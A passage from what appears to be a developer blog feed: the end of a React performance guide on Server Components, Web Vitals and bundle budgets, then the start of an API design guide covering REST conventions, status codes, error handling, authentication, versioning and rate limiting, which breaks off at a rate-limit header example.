React Server Components run on the server and send zero JavaScript to the client. They're the biggest paradigm shift in React since hooks.

How They Work

Traditional React (Client Components):
  Server sends HTML shell -> Client downloads JS -> Client renders
  Bundle: [React + Component code + Libraries] = Heavy

Server Components:
  Server renders component to HTML + special format
  Client receives rendered output — NO JS for that component
  Bundle: Only interactive components ship JS

When to Use Server vs Client Components

// SERVER COMPONENT (default in Next.js App Router)
// Zero JS shipped to client
async function ProductPage({ params }) {
  // Can directly access database, file system, etc.
  const product = await db.products.findById(params.id);
  const reviews = await db.reviews.findByProductId(params.id);

  return (
    <div>
      <ProductDetails product={product} />
      <ReviewList reviews={reviews} />
      {/* Client component for interactivity */}
      <AddToCartButton productId={product.id} />
    </div>
  );
}

// CLIENT COMPONENT (needs "use client" directive)
'use client';

function AddToCartButton({ productId }) {
  const [isAdding, setIsAdding] = useState(false);

  const handleClick = async () => {
    setIsAdding(true);
    await addToCart(productId);
    setIsAdding(false);
  };

  return (
    <button onClick={handleClick} disabled={isAdding}>
      {isAdding ? 'Adding...' : 'Add to Cart'}
    </button>
  );
}

Decision Guide

Use Server Components When	Use Client Components When
Fetching data	Using state (`useState`)
Accessing backend resources	Using effects (`useEffect`)
Rendering static/read-only content	Handling user events (onClick)
Large dependencies (markdown, syntax highlighting)	Using browser APIs
Sensitive logic (API keys, DB queries)	Needing real-time updates

Web Vitals — LCP, INP, CLS

Google uses Core Web Vitals as a ranking factor. They also directly impact user experience.

The Three Metrics

+----------------------------------------------------------------+
|                    CORE WEB VITALS                              |
+----------------------------------------------------------------+
|                                                                  |
|  LCP (Largest Contentful Paint)                                 |
|  "How long until the main content is visible?"                  |
|  Good: < 2.5s | Needs Work: 2.5-4s | Poor: > 4s               |
|                                                                  |
|  INP (Interaction to Next Paint)                                |
|  "How long until the UI responds after I click?"               |
|  Good: < 200ms | Needs Work: 200-500ms | Poor: > 500ms         |
|  (Replaced FID in March 2024)                                   |
|                                                                  |
|  CLS (Cumulative Layout Shift)                                  |
|  "How much does stuff jump around while loading?"              |
|  Good: < 0.1 | Needs Work: 0.1-0.25 | Poor: > 0.25            |
|                                                                  |
+----------------------------------------------------------------+

Improving LCP

LCP is usually an image or a large text block. Here's how to fix it:

// 1. Preload your LCP image
<head>
  <link rel="preload" as="image" href="/hero.webp" fetchpriority="high" />
</head>

// 2. Use priority on LCP image
<Image src="/hero.webp" priority />

// 3. Inline critical CSS (don't block render on external stylesheets)

// 4. Server-render the above-the-fold content (SSR/RSC)

// 5. Avoid client-side data fetching for LCP content
// BAD: Show spinner while fetching
function Hero() {
  const { data, isLoading } = useQuery({ queryKey: ['hero'], queryFn: fetchHero });
  if (isLoading) return <Spinner />; // LCP delayed until fetch completes
  return <h1>{data.title}</h1>;
}

// GOOD: Server-render it or use SSG
async function Hero() {
  const data = await fetchHero(); // Runs on server
  return <h1>{data.title}</h1>;   // Included in initial HTML
}

Improving INP

INP measures the worst interaction responsiveness. Usually caused by heavy JavaScript on the main thread.

// BAD: Blocking the main thread on click
function FilterPanel({ items }) {
  const [filters, setFilters] = useState({});

  const handleFilterChange = (key, value) => {
    setFilters(prev => ({ ...prev, [key]: value }));
    // This triggers re-render of 10,000 items synchronously
    // Main thread blocked for 300ms -> poor INP
  };

  const filtered = items.filter(item => matchesFilters(item, filters));
  return <ItemList items={filtered} />;
}

// GOOD: Use useTransition to keep interactions responsive
function FilterPanel({ items }) {
  const [filters, setFilters] = useState({});
  const [isPending, startTransition] = useTransition();

  const handleFilterChange = (key, value) => {
    setFilters(prev => ({ ...prev, [key]: value }));

    startTransition(() => {
      // Expensive re-render happens at low priority
      // Main thread stays responsive for other interactions
    });
  };

  const filtered = useMemo(
    () => items.filter(item => matchesFilters(item, filters)),
    [items, filters]
  );

  return (
    <div style={{ opacity: isPending ? 0.7 : 1 }}>
      <ItemList items={filtered} />
    </div>
  );
}

Improving CLS

Layout shift happens when elements change size or position after they're painted.

// BAD: Image without dimensions causes layout shift
<img src="/photo.jpg" />
// Browser doesn't know the size until image loads
// Everything below shifts down -> CLS

// GOOD: Always specify dimensions
<img src="/photo.jpg" width={800} height={600} />
// Browser reserves space immediately -> no shift

// BAD: Dynamic content inserted above visible content
function Feed() {
  return (
    <div>
      {newBannerLoaded && <PromoBanner />}  {/* Pushes everything down! */}
      <FeedItems />
    </div>
  );
}

// GOOD: Reserve space for dynamic content
function Feed() {
  return (
    <div>
      <div style={{ minHeight: newBannerLoaded ? 'auto' : 80 }}>
        {newBannerLoaded && <PromoBanner />}
      </div>
      <FeedItems />
    </div>
  );
}

// BAD: Web fonts cause flash of unstyled text
// GOOD: Use font-display: swap and preload fonts
<link rel="preload" as="font" href="/fonts/inter.woff2" crossOrigin="" />

Performance Budget

Set limits and enforce them so performance doesn't degrade over time.

Setting a Budget

// budget.json (for bundlesize or size-limit)
{
  "budgets": [
    {
      "path": "build/static/js/main.*.js",
      "maxSize": "200 KB"
    },
    {
      "path": "build/static/js/vendor.*.js",
      "maxSize": "150 KB"
    },
    {
      "path": "build/static/css/*.css",
      "maxSize": "50 KB"
    }
  ]
}

Enforcing with CI

// package.json
{
  "scripts": {
    "size": "size-limit",
    "size:check": "size-limit --check"
  },
  "size-limit": [
    {
      "path": "dist/index.js",
      "limit": "200 KB",
      "gzip": true
    },
    {
      "path": "dist/vendor.js",
      "limit": "150 KB",
      "gzip": true
    }
  ]
}

# .github/workflows/perf.yml
- name: Check bundle size
  run: npm run size:check

- name: Lighthouse CI
  uses: treosh/lighthouse-ci-action@v10
  with:
    budgetPath: ./budget.json
    urls: |
      https://staging.myapp.com/
      https://staging.myapp.com/dashboard

Recommended Budgets

Metric	Target	Why
Main JS bundle (gzipped)	< 200 KB	3G connection loads in ~2s
Total JS (gzipped)	< 400 KB	Including all chunks
LCP	< 2.5s	Google's threshold
INP	< 200ms	User-perceived responsiveness
CLS	< 0.1	Visual stability
Time to Interactive	< 3.5s	User can start using the app

Real-World Optimization Case Study

Let's walk through optimizing a real e-commerce product listing page.

Before: The Problem

Page: /products (lists 500 products with filters)

Metrics BEFORE optimization:
  Bundle size:      1.8 MB (gzipped: 580 KB)
  LCP:              4.2s
  INP:              450ms (typing in search box)
  CLS:              0.35
  Time to Interactive: 5.8s

User complaints:
  - "The page takes forever to load"
  - "Search is laggy when I type"
  - "Images jump around while loading"

Step 1: Bundle Analysis (Impact: -400 KB)

Found:
  - moment.js (230 KB) — replaced with date-fns (12 KB used)
  - Full lodash import (70 KB) — switched to individual imports (3 KB)
  - chart.js loaded on product page (200 KB) — lazy loaded (only on analytics page)

Bundle: 1.8 MB -> 1.3 MB (gzipped: 580 KB -> 380 KB)

Step 2: Code Splitting (Impact: -250 KB initial)

// Lazy load non-critical routes
const Analytics = lazy(() => import('./pages/Analytics'));
const Settings = lazy(() => import('./pages/Settings'));

// Lazy load below-the-fold product reviews
const ReviewSection = lazy(() => import('./components/ReviewSection'));

// Initial load: 380 KB -> 180 KB (gzipped)

Step 3: Fix Re-renders (Impact: INP 450ms -> 120ms)

// Problem: Search input re-renders entire product grid on every keystroke

// Fix 1: Colocate search state
// Fix 2: Debounce the filter operation
// Fix 3: Virtualize the product grid (500 items -> ~20 rendered)
// Fix 4: Wrap ProductCard in React.memo

function ProductPage() {
  const [filters, setFilters] = useState({});
  const [isPending, startTransition] = useTransition();

  const handleFilterChange = useCallback((newFilters) => {
    startTransition(() => {
      setFilters(newFilters);
    });
  }, []);

  return (
    <>
      <SearchBar onSearch={handleFilterChange} />
      <VirtualizedProductGrid filters={filters} isPending={isPending} />
    </>
  );
}

const ProductCard = React.memo(function ProductCard({ product }) {
  return (/* ... */);
});

Step 4: Image Optimization (Impact: LCP 4.2s -> 1.8s, CLS 0.35 -> 0.05)

// Added width/height to all images (fixes CLS)
// Used WebP with AVIF fallback
// Priority loading for first 4 product images (above the fold)
// Lazy loading for everything below the fold
// Blur placeholder for product thumbnails

<Image
  src={product.image}
  alt={product.name}
  width={300}
  height={300}
  priority={index < 4}
  placeholder="blur"
  blurDataURL={product.blurHash}
  sizes="(max-width: 768px) 50vw, 25vw"
/>

Step 5: Server-Side Rendering (Impact: LCP 1.8s -> 1.2s)

// Moved initial data fetch to server component
// Products are included in initial HTML — no loading spinner

async function ProductPage({ searchParams }) {
  const products = await getProducts(searchParams);

  return (
    <div>
      <SearchBar />  {/* Client component for interactivity */}
      <ProductGrid initialProducts={products} />
    </div>
  );
}

After: The Results

Metrics AFTER optimization:
  Bundle size:         1.8 MB -> 950 KB (initial: 180 KB gzipped)
  LCP:                 4.2s -> 1.2s          (-71%)
  INP:                 450ms -> 120ms        (-73%)
  CLS:                 0.35 -> 0.05          (-86%)
  Time to Interactive: 5.8s -> 2.1s          (-64%)

+----------+--------+--------+-------------+
| Metric   | Before | After  | Improvement |
+----------+--------+--------+-------------+
| Bundle   | 580 KB | 180 KB | -69%        |
| LCP      | 4.2s   | 1.2s   | -71%        |
| INP      | 450ms  | 120ms  | -73%        |
| CLS      | 0.35   | 0.05   | -86%        |
| TTI      | 5.8s   | 2.1s   | -64%        |
+----------+--------+--------+-------------+

The Complete Optimization Checklist

Ranked by impact — start from the top.

Tier 1: High Impact, Do These First

Optimization	Impact	Effort	Notes
Code splitting (routes)	Very High	Low	`React.lazy` + `Suspense`
Image optimization	Very High	Low-Medium	Width/height, lazy load, WebP
Remove/replace heavy deps	High	Medium	`moment` -> `date-fns`, etc.
Virtualize long lists	Very High	Medium	If rendering 100+ items
Server-side rendering	High	Medium-High	SSR or RSC for LCP content
State colocation	High	Low	Move state down the tree

Tier 2: Medium Impact, Do These Next

Optimization	Impact	Effort	Notes
`React.memo` on expensive components	Medium-High	Low	With stable props
`useMemo` for expensive computations	Medium	Low	Sorting, filtering large arrays
Split contexts by update frequency	Medium	Low	Avoid monolithic context
Debounce/throttle input-driven renders	Medium	Low	Search, resize, scroll handlers
`useTransition` for non-urgent updates	Medium	Low	Filter changes, tab switches
Prefetch data on hover/focus	Medium	Low	React Query `prefetchQuery`

Tier 3: Polish

Optimization	Impact	Effort	Notes
Tree shaking (direct imports)	Medium	Low	Avoid barrel files
Optimistic updates	Medium	Medium	Better perceived performance
Web font optimization	Low-Medium	Low	`font-display: swap`, preload
Performance budget in CI	Low (prevents regression)	Medium	`size-limit`, Lighthouse CI
CSS containment	Low-Medium	Low	`contain: content` for complex layouts
Dynamic imports for heavy features	Medium	Low	PDF export, charts, editors

The Anti-Optimization List (Don't Do These)

Anti-Pattern	Why
`useMemo` on every computation	Overhead of memoization > savings on cheap ops
`React.memo` on everything	Comparison cost on frequently-changing props is wasteful
Premature code splitting	50 tiny chunks cause more network overhead than one medium bundle
Over-abstracting for "performance"	Added complexity makes code harder to maintain and debug
Optimizing without measuring	You might optimize the wrong thing entirely

Remember: measure first, then optimize the bottleneck, then measure again. Performance optimization is a science, not a guessing game.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

API Design 101: The Ultimate Guide to Building APIs That Don't Suck

Ishaan Pandey — Sat, 21 Mar 2026 11:35:37 +0000

API Design 101: The Ultimate Guide to Building APIs That Don't Suck

You've used APIs. You've probably built a few. And if you're being honest, at least one of them was held together with duct tape and prayers.

Bad APIs are everywhere. Inconsistent naming, mystery status codes, error messages that say "something went wrong" with zero context, pagination that breaks when you look at it funny. We've all been there.

This guide is the antidote. We're going to cover everything about designing APIs that developers actually enjoy using — from URL structure to authentication, rate limiting to webhooks, error handling to documentation. With real code, real patterns, and real opinions.

Let's build APIs that don't suck.

What Makes a Great API?
URL and Resource Design
HTTP Methods Done Right
Status Codes — The Full Picture
Request/Response Design
Error Handling Patterns
Authentication in APIs
Versioning Strategies
Rate Limiting
Input Validation
Filtering, Sorting, and Pagination
Bulk Operations
Webhooks
HATEOAS and Hypermedia
API Documentation
API Security Checklist
Bad vs Good API Patterns
Putting It All Together — Express.js Example
Decision Framework

What Makes a Great API?

Before we get into the specifics, let's establish what separates a great API from a mediocre one. It boils down to three pillars:

+---------------------------------------------------+
|              GREAT API DESIGN                      |
+---------------------------------------------------+
|                                                     |
|  +-------------+  +----------------+  +-----------+ |
|  | Consistency |  | Predictability |  | Developer | |
|  |             |  |                |  | Experience| |
|  +-------------+  +----------------+  +-----------+ |
|                                                     |
|  "If I know one    "I can guess      "I can get     |
|   endpoint, I       what this does    started in     |
|   know them all"    without docs"     5 minutes"     |
|                                                     |
+---------------------------------------------------+

Consistency means if GET /users returns a list, then GET /orders returns a list in the exact same shape. Same envelope, same pagination format, same error structure. Always.

Predictability means a developer can guess the endpoint for "get a single order" after seeing GET /users/:id. It should obviously be GET /orders/:id. No surprises.

Developer Experience (DX) means clear errors, good docs, sensible defaults, and the feeling that whoever designed this API actually thought about the person consuming it.

Here's a quick litmus test:

Question	Great API	Bad API
Can I guess the endpoint?	Yes, follows conventions	No, every resource is different
Are errors helpful?	Specific field-level messages	`"error": "Bad Request"`
Is pagination consistent?	Same pattern everywhere	Different for each resource
Can I onboard in 5 min?	Good docs, clear examples	Need to read source code
Are breaking changes versioned?	Yes, with deprecation notices	Stuff just breaks randomly

URL and Resource Design

Your URLs are the front door of your API. They should read like a well-organized filing cabinet, not a junk drawer.

Rule 1: Use Nouns, Not Verbs

Resources are things. Use nouns to name them. The HTTP method already tells us the action.

BAD:
GET    /getUsers
POST   /createUser
PUT    /updateUser/123
DELETE /deleteUser/123

GOOD:
GET    /users
POST   /users
PUT    /users/123
DELETE /users/123

The verb is in the HTTP method. Don't repeat it in the URL.

Rule 2: Use Plurals

Pick plural nouns and be consistent. Even for a single resource, the collection is plural.

BAD:                    GOOD:
GET /user/123          GET /users/123
GET /user              GET /users
GET /product-catalog   GET /products

Rule 3: Nest for Relationships (But Not Too Deep)

Nesting shows resource ownership. But stop at two levels — deeper nesting gets messy.

GOOD (one level of nesting):
GET /users/123/orders          # Orders for user 123
GET /orders/456/items          # Items in order 456

TOO DEEP (avoid this):
GET /users/123/orders/456/items/789/reviews

BETTER (flatten it):
GET /orders/456/items/789
GET /items/789/reviews

Rule 4: Use Query Parameters for Filtering, Sorting, and Pagination

Don't pollute your URL path with non-resource concerns.

GOOD:
GET /users?role=admin&sort=-created_at&page=2&limit=20
GET /products?category=electronics&min_price=100&max_price=500
GET /orders?status=shipped&created_after=2026-01-01

BAD:
GET /users/admins/sorted-by-date/page/2
GET /products/electronics/price-range/100-500

Rule 5: Use kebab-case for Multi-Word Resources

GOOD:                     BAD:
/order-items              /orderItems
/user-profiles            /user_profiles
/payment-methods          /PaymentMethods

Complete URL Design Cheatsheet

Resource Collection:     GET    /resources
Single Resource:         GET    /resources/:id
Create Resource:         POST   /resources
Update Resource:         PUT    /resources/:id
Partial Update:          PATCH  /resources/:id
Delete Resource:         DELETE /resources/:id
Sub-resources:           GET    /resources/:id/sub-resources
Actions (rare):          POST   /resources/:id/actions/archive
Search:                  GET    /resources/search?q=term

HTTP Methods Done Right

Each HTTP method has specific semantics. Using them correctly makes your API predictable.

The Big Five

Method	Purpose	Idempotent?	Request Body?	Success Code
`GET`	Read a resource	Yes	No	200
`POST`	Create a resource	No	Yes	201
`PUT`	Replace a resource entirely	Yes	Yes	200
`PATCH`	Partially update a resource	Yes*	Yes	200
`DELETE`	Remove a resource	Yes	Rarely	204

Idempotency Explained

An idempotent operation produces the same result no matter how many times you call it.

Idempotent (safe to retry):
PUT /users/123  { "name": "Alex" }
  -> Call 1: Updates name to "Alex"      -> 200
  -> Call 2: Name is still "Alex"        -> 200 (same result)

DELETE /users/123
  -> Call 1: Deletes the user            -> 204
  -> Call 2: User already gone           -> 404 (but state is same)

NOT idempotent (calling twice creates duplicates):
POST /orders  { "product": "laptop" }
  -> Call 1: Creates order #1001         -> 201
  -> Call 2: Creates order #1002         -> 201 (duplicate!)

This matters because network requests fail. If a client doesn't get a response and retries, idempotent operations are safe to retry. Non-idempotent ones (POST) need idempotency keys.

PUT vs PATCH

This trips people up. Here's the deal:

// Current user:
{ "id": 123, "name": "Alex", "email": "alex@example.com", "role": "admin" }

// PUT /users/123 — full replacement
// You MUST send the complete resource
{ "name": "Alex Updated", "email": "alex@example.com", "role": "admin" }
// Missing fields get wiped to null/default!

// PATCH /users/123 — partial update
// Send only what changed
{ "name": "Alex Updated" }
// Other fields remain untouched

Use PUT when the client has the full resource and wants to replace it.
Use PATCH when updating one or two fields (which is 90% of real-world updates).

Making POST Idempotent with Idempotency Keys

// Client generates a unique key
POST /orders
Headers:
  Idempotency-Key: a1b2c3d4-e5f6-7890

// Server logic:
app.post('/orders', async (req, res) => {
  const idempotencyKey = req.headers['idempotency-key'];

  // Check if we've already processed this key
  const existing = await cache.get(`idempotency:${idempotencyKey}`);
  if (existing) {
    return res.status(200).json(existing); // Return cached response
  }

  // Process the order
  const order = await createOrder(req.body);

  // Cache the response with the key (TTL: 24 hours)
  await cache.set(`idempotency:${idempotencyKey}`, order, 86400);

  return res.status(201).json(order);
});

Status Codes — The Full Picture

Status codes are your API's way of communicating what happened. Don't just throw 200s and 500s around.

The Must-Know Status Codes

+-------+---------------------------------------------+
| Code  | When to Use                                 |
+-------+---------------------------------------------+
|       |           2xx — SUCCESS                     |
+-------+---------------------------------------------+
| 200   | OK — general success, returning data        |
| 201   | Created — resource created (POST)           |
| 204   | No Content — success, nothing to return     |
|       |   (DELETE, PUT with no response body)        |
+-------+---------------------------------------------+
|       |       4xx — CLIENT ERROR                    |
+-------+---------------------------------------------+
| 400   | Bad Request — malformed syntax, invalid     |
|       |   JSON, missing required fields             |
| 401   | Unauthorized — no auth or invalid auth      |
|       |   (should really be "Unauthenticated")      |
| 403   | Forbidden — authenticated but no permission |
| 404   | Not Found — resource doesn't exist          |
| 409   | Conflict — resource state conflict           |
|       |   (duplicate email, version mismatch)       |
| 422   | Unprocessable Entity — valid syntax but     |
|       |   semantically wrong (age = -5)             |
| 429   | Too Many Requests — rate limit exceeded      |
+-------+---------------------------------------------+
|       |       5xx — SERVER ERROR                    |
+-------+---------------------------------------------+
| 500   | Internal Server Error — unhandled bug       |
| 503   | Service Unavailable — overloaded or in      |
|       |   maintenance, try again later              |
+-------+---------------------------------------------+

When to Use What — Real Examples

// 200 — Successful read or update
GET /users/123         -> 200 { "id": 123, "name": "Alex" }
PATCH /users/123       -> 200 { "id": 123, "name": "Updated" }

// 201 — Resource created (include Location header!)
POST /users            -> 201 { "id": 124, "name": "New User" }
                          Location: /users/124

// 204 — Success but nothing to send back
DELETE /users/123      -> 204 (empty body)

// 400 — Malformed request
POST /users { name: }  -> 400 "Invalid JSON syntax"

// 401 — Missing or invalid credentials
GET /admin/users       -> 401 "Authentication required"
  (no token provided)

// 403 — Valid auth but insufficient permissions
GET /admin/users       -> 403 "Admin role required"
  (token valid, but user is not admin)

// 404 — Resource not found
GET /users/99999       -> 404 "User not found"

// 409 — Conflict with current state
POST /users { email: "taken@email.com" }
                       -> 409 "Email already exists"

// 422 — Valid JSON but fails business logic
POST /users { age: -5 }
                       -> 422 "Age must be a positive number"

// 429 — Too many requests
GET /api/anything      -> 429 "Rate limit exceeded"
  Retry-After: 30

// 500 — Unexpected server error
GET /users             -> 500 "Internal server error"

// 503 — Server overloaded or in maintenance
GET /api/anything      -> 503 "Service temporarily unavailable"
  Retry-After: 300

The 401 vs 403 Decision

This one confuses people. Here's the simple rule:

+------------------+----------------------------------+
|   401            |   403                            |
+------------------+----------------------------------+
| WHO are you?     | I know who you are, but NO.      |
| No token sent    | Valid token, wrong permissions    |
| Expired token    | User role can't access this      |
| Invalid token    | IP blocked, account suspended    |
+------------------+----------------------------------+

Decision flow:
  Is there a valid auth token?
    NO  -> 401 Unauthorized
    YES -> Does this user have permission?
      NO  -> 403 Forbidden
      YES -> Process request

Request/Response Design

Consistency in your request and response shapes is what makes an API feel polished.

The Envelope Pattern

Wrapping responses in a consistent envelope gives you room for metadata without changing the core data shape.

// Consistent envelope for single resources
{
  "status": "success",
  "data": {
    "id": 123,
    "name": "Alex",
    "email": "alex@example.com"
  }
}

// Consistent envelope for collections
{
  "status": "success",
  "data": [
    { "id": 123, "name": "Alex" },
    { "id": 124, "name": "Jordan" }
  ],
  "meta": {
    "total": 245,
    "page": 1,
    "per_page": 20,
    "total_pages": 13
  }
}

// Consistent envelope for errors
{
  "status": "error",
  "error": {
    "code": "VALIDATION_ERROR",
    "message": "Request validation failed",
    "details": [
      { "field": "email", "message": "Must be a valid email address" },
      { "field": "age", "message": "Must be between 1 and 150" }
    ]
  }
}

Flat vs Envelope — When to Use What

Approach	Pros	Cons
Envelope `{ data, meta }`	Consistent shape, room for metadata	Slightly more verbose
Flat (just the resource)	Simpler, less nesting	Hard to add metadata later

My recommendation: use envelopes for collections (you need pagination metadata) and flat for single resources unless you need metadata. Many teams just go full envelope for consistency, and that's fine too.

RFC 7807 Problem Details — The Error Standard

Instead of inventing your own error format, use the RFC 7807 standard. It's becoming the industry norm.

// RFC 7807 Problem Details format
{
  "type": "https://api.example.com/errors/validation",
  "title": "Validation Error",
  "status": 422,
  "detail": "The request body contains invalid fields",
  "instance": "/users",
  "errors": [
    {
      "field": "email",
      "message": "Must be a valid email address",
      "value": "not-an-email"
    }
  ]
}

// Another example — rate limiting
{
  "type": "https://api.example.com/errors/rate-limit",
  "title": "Rate Limit Exceeded",
  "status": 429,
  "detail": "You have exceeded 100 requests per minute",
  "instance": "/users",
  "retryAfter": 30
}

The type field is a URI that identifies the error type (and can point to docs). The title is human-readable. The detail gives specifics for this occurrence.

Error Handling Patterns

Good error handling is the difference between "I fixed the bug in 2 minutes" and "I spent 3 hours guessing what went wrong."

Custom Error Classes

// errors.js — Define a hierarchy of errors
class AppError extends Error {
  constructor(message, statusCode, code) {
    super(message);
    this.statusCode = statusCode;
    this.code = code;
    this.isOperational = true;
    Error.captureStackTrace(this, this.constructor);
  }
}

class NotFoundError extends AppError {
  constructor(resource, id) {
    super(`${resource} with id '${id}' not found`, 404, 'NOT_FOUND');
  }
}

class ValidationError extends AppError {
  constructor(errors) {
    super('Validation failed', 422, 'VALIDATION_ERROR');
    this.errors = errors; // Array of field-level errors
  }
}

class ConflictError extends AppError {
  constructor(message) {
    super(message, 409, 'CONFLICT');
  }
}

class UnauthorizedError extends AppError {
  constructor(message = 'Authentication required') {
    super(message, 401, 'UNAUTHORIZED');
  }
}

class ForbiddenError extends AppError {
  constructor(message = 'Insufficient permissions') {
    super(message, 403, 'FORBIDDEN');
  }
}

class RateLimitError extends AppError {
  constructor(retryAfter = 60) {
    super('Rate limit exceeded', 429, 'RATE_LIMIT_EXCEEDED');
    this.retryAfter = retryAfter;
  }
}

Centralized Error Handler

// middleware/errorHandler.js
const errorHandler = (err, req, res, next) => {
  // Log the error (but not in tests)
  if (process.env.NODE_ENV !== 'test') {
    console.error(`[${new Date().toISOString()}] ${err.stack}`);
  }

  // Operational errors — we know what happened
  if (err.isOperational) {
    const response = {
      type: `https://api.example.com/errors/${err.code.toLowerCase().replace(/_/g, '-')}`,
      title: err.code.replace(/_/g, ' ').toLowerCase(),
      status: err.statusCode,
      detail: err.message,
      instance: req.originalUrl,
    };

    // Add field-level errors for validation
    if (err.errors) {
      response.errors = err.errors;
    }

    // Add retry-after for rate limiting
    if (err.retryAfter) {
      res.set('Retry-After', err.retryAfter);
      response.retryAfter = err.retryAfter;
    }

    return res.status(err.statusCode).json(response);
  }

  // Programming errors — don't leak details
  return res.status(500).json({
    type: 'https://api.example.com/errors/internal',
    title: 'Internal Server Error',
    status: 500,
    detail: process.env.NODE_ENV === 'production'
      ? 'An unexpected error occurred'
      : err.message,
    instance: req.originalUrl,
  });
};

Using Errors in Route Handlers

// Clean route handlers that throw meaningful errors
app.get('/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  if (!user) {
    throw new NotFoundError('User', req.params.id);
  }
  res.json(user);
});

app.post('/users', async (req, res) => {
  const existing = await db.users.findByEmail(req.body.email);
  if (existing) {
    throw new ConflictError('A user with this email already exists');
  }

  const user = await db.users.create(req.body);
  res.status(201)
    .location(`/users/${user.id}`)
    .json(user);
});

Authentication in APIs

There are several ways to authenticate API requests. Each has a sweet spot.

Comparison Table

Method	Best For	Complexity	Security
API Keys	Server-to-server, internal services	Low	Medium
Bearer Tokens (JWT)	User-facing apps, SPAs	Medium	High
OAuth 2.0	Third-party integrations	High	Very High
Session Cookies	Traditional web apps	Low	High (with CSRF protection)

API Keys

Simple and effective for server-to-server communication.

// Client sends key in header
GET /api/weather?city=london
Headers:
  X-API-Key: sk_live_abc123def456

// Server validates
const authenticateApiKey = async (req, res, next) => {
  const apiKey = req.headers['x-api-key'];

  if (!apiKey) {
    throw new UnauthorizedError('API key is required');
  }

  // Hash the key and look it up (never store keys in plain text!)
  const hashedKey = crypto.createHash('sha256').update(apiKey).digest('hex');
  const keyRecord = await db.apiKeys.findByHash(hashedKey);

  if (!keyRecord || keyRecord.revoked) {
    throw new UnauthorizedError('Invalid API key');
  }

  req.apiClient = keyRecord.client;
  next();
};

Bearer Tokens (JWT)

The standard for user-facing APIs. Token-based, stateless authentication.

// Client sends JWT in Authorization header
GET /api/profile
Headers:
  Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

// Server middleware
const authenticateJWT = (req, res, next) => {
  const authHeader = req.headers.authorization;

  if (!authHeader?.startsWith('Bearer ')) {
    throw new UnauthorizedError('Bearer token required');
  }

  const token = authHeader.split(' ')[1];

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET);
    req.user = payload;
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      throw new UnauthorizedError('Token expired');
    }
    throw new UnauthorizedError('Invalid token');
  }
};

OAuth 2.0

For when third-party apps need access to your user's data.

+--------+                               +---------------+
|        |---(1) Authorization Request-->|   Resource    |
|        |                               |    Owner      |
|        |<--(2) Authorization Grant----|   (User)      |
|        |                               +---------------+
| Client |
|  App   |---(3) Auth Grant------------>+---------------+
|        |                               | Authorization |
|        |<--(4) Access Token-----------|    Server     |
|        |                               +---------------+
|        |
|        |---(5) Access Token---------->+---------------+
|        |                               |   Resource    |
|        |<--(6) Protected Resource-----|    Server     |
+--------+                               +---------------+

When to Use What

Decision tree:

Is the consumer a server/service?
  YES -> API Keys (simple, rotatable)
  NO  -> Is it your own frontend app?
    YES -> JWT Bearer Tokens
    NO  -> Is it a third-party app?
      YES -> OAuth 2.0
      NO  -> JWT Bearer Tokens

Versioning Strategies

APIs evolve. Breaking changes happen. Versioning gives you a way to evolve without breaking existing clients.

The Three Approaches

1. URL Path Versioning (Most Common)

GET /v1/users/123
GET /v2/users/123

// Express.js implementation
const v1Router = express.Router();
const v2Router = express.Router();

v1Router.get('/users/:id', (req, res) => {
  // V1: returns flat user object
  res.json({ id: 1, name: 'Alex', email: 'alex@example.com' });
});

v2Router.get('/users/:id', (req, res) => {
  // V2: returns nested user with profile
  res.json({
    id: 1,
    name: 'Alex',
    profile: { email: 'alex@example.com', avatar: '...' }
  });
});

app.use('/v1', v1Router);
app.use('/v2', v2Router);

2. Header Versioning

GET /users/123
Headers:
  Accept: application/vnd.myapi.v2+json

3. Query Parameter Versioning

GET /users/123?version=2

Comparison

Strategy	Pros	Cons
URL path `/v1/`	Obvious, easy to route, cacheable	"Pollutes" the URL, feels like a different API
Header `Accept: vnd.v2`	Clean URLs, content negotiation	Hidden, harder to test in browser
Query param `?version=2`	Simple, visible	Easy to forget, can't cache well

My recommendation: URL path versioning. It's the most explicit, the easiest to understand, and the most widely used. GitHub, Stripe, and Twilio all use it.

Deprecation Strategy

Don't just kill old versions. Give clients time.

// Deprecation middleware
const deprecationWarning = (version, sunsetDate) => (req, res, next) => {
  res.set('Deprecation', 'true');
  res.set('Sunset', sunsetDate); // RFC 8594
  res.set('Link', '</v3/docs>; rel="successor-version"');
  console.warn(`[DEPRECATION] ${version} hit: ${req.method} ${req.originalUrl}`);
  next();
};

app.use('/v1', deprecationWarning('v1', 'Sat, 01 Jun 2026 00:00:00 GMT'), v1Router);

Rate Limiting

Without rate limiting, one misbehaving client can take down your entire API. Rate limiting protects you and ensures fair usage.

Common Algorithms

TOKEN BUCKET:
+-------------------+
| Bucket: 10 tokens |     Tokens refill at steady rate
| Refill: 1/second  |     Each request costs 1 token
+-------------------+     Burst allowed up to bucket size

  Time 0s: [##########]  10 tokens (full)
  Burst 5 requests:
  Time 0s: [#####     ]   5 tokens
  Time 3s: [########  ]   8 tokens (3 refilled)
  Time 3s: [#         ]   1 token (7 requests)

SLIDING WINDOW:
  Window: 60 seconds, Limit: 100 requests

  |<-------- 60 seconds -------->|
  | req req req ... (98 total)   |  -> OK
  | req                          |  -> 99, OK
  | req                          |  -> 100, OK
  | req                          |  -> 101, REJECTED (429)
  |   window slides ->           |

Implementation with Express

// Simple rate limiter using express-rate-limit
import rateLimit from 'express-rate-limit';

// General API rate limit
const apiLimiter = rateLimit({
  windowMs: 60 * 1000,     // 1 minute window
  max: 100,                 // 100 requests per window
  standardHeaders: true,    // Return rate limit info in RateLimit-* headers
  legacyHeaders: false,     // Disable X-RateLimit-* headers
  message: {
    type: 'https://api.example.com/errors/rate-limit',
    title: 'Rate Limit Exceeded',
    status: 429,
    detail: 'You have exceeded 100 requests per minute',
  },
  keyGenerator: (req) => {
    // Rate limit by API key or IP
    return req.headers['x-api-key'] || req.ip;
  },
});

// Stricter limit for auth endpoints (prevent brute force)
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 10,                     // 10 attempts
  skipSuccessfulRequests: true, // Only count failures
});

app.use('/api/', apiLimiter);
app.use('/api/auth/login', authLimiter);

Rate Limit Headers

Always tell clients where they stand:

HTTP/1.1 200 OK
RateLimit-Limit: 100
